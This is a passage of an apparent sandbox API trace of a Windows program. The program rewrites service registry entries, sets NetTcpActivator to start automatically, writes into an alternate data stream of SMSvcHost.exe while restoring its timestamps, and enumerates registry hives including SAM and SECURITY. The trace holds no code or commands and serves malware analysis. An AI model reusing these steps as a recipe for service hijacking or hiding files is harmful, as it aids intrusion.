lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.423] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.423] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.423] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f1bf8*, cbData=0x18 | out: lpData=0x21f1bf8*) returned 0x0 [0251.423] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0251.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0251.424] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0251.425] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0251.425] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0251.425] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0251.425] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.425] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0251.425] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0251.425] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x21f1ad8, nSize=0x3f | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x3e [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.425] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0251.425] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0251.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0251.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0251.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0251.426] LocalFree (hMem=0x7f03d0) returned 0x0 [0251.426] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0251.426] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpActivator", dwDesiredAccess=0x2) returned 0x8038a0 [0251.426] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0251.446] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.447] RegCloseKey (hKey=0xc4) returned 0x0 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0251.447] RegCloseKey (hKey=0x14c) returned 0x0 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0251.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0251.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0251.447] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0251.447] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0251.447] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x44000 [0251.448] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0251.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x29f0048 [0251.452] ReadFile (in: hFile=0x14c, lpBuffer=0x29f0048, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesRead=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0251.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x2a34050 [0251.462] SetEndOfFile (hFile=0x14c) returned 1 [0251.462] GetFileTime (in: hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe2894000, dwHighDateTime=0x1d0aa22)) returned 1 [0251.462] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0251.462] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0251.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0251.462] NtClose (Handle=0x14c) returned 0x0 [0251.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0251.462] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0251.462] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0251.462] WriteFile (in: hFile=0x14c, lpBuffer=0x2a34050*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2a34050*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0251.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0251.466] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0251.466] NtClose (Handle=0x14c) returned 0x0 [0251.466] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpActivator", dwDesiredAccess=0x10) returned 0x803990 [0251.466] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0253.225] GetLastError () returned 0x433 [0253.225] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2a34050) returned 1 [0253.228] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.229] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.229] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.229] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x20) returned 0x8038a0 [0253.230] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.230] GetLastError () returned 0x425 [0253.230] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.230] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.230] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.231] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.231] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.232] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.232] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.232] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.232] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.232] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.232] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.232] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, 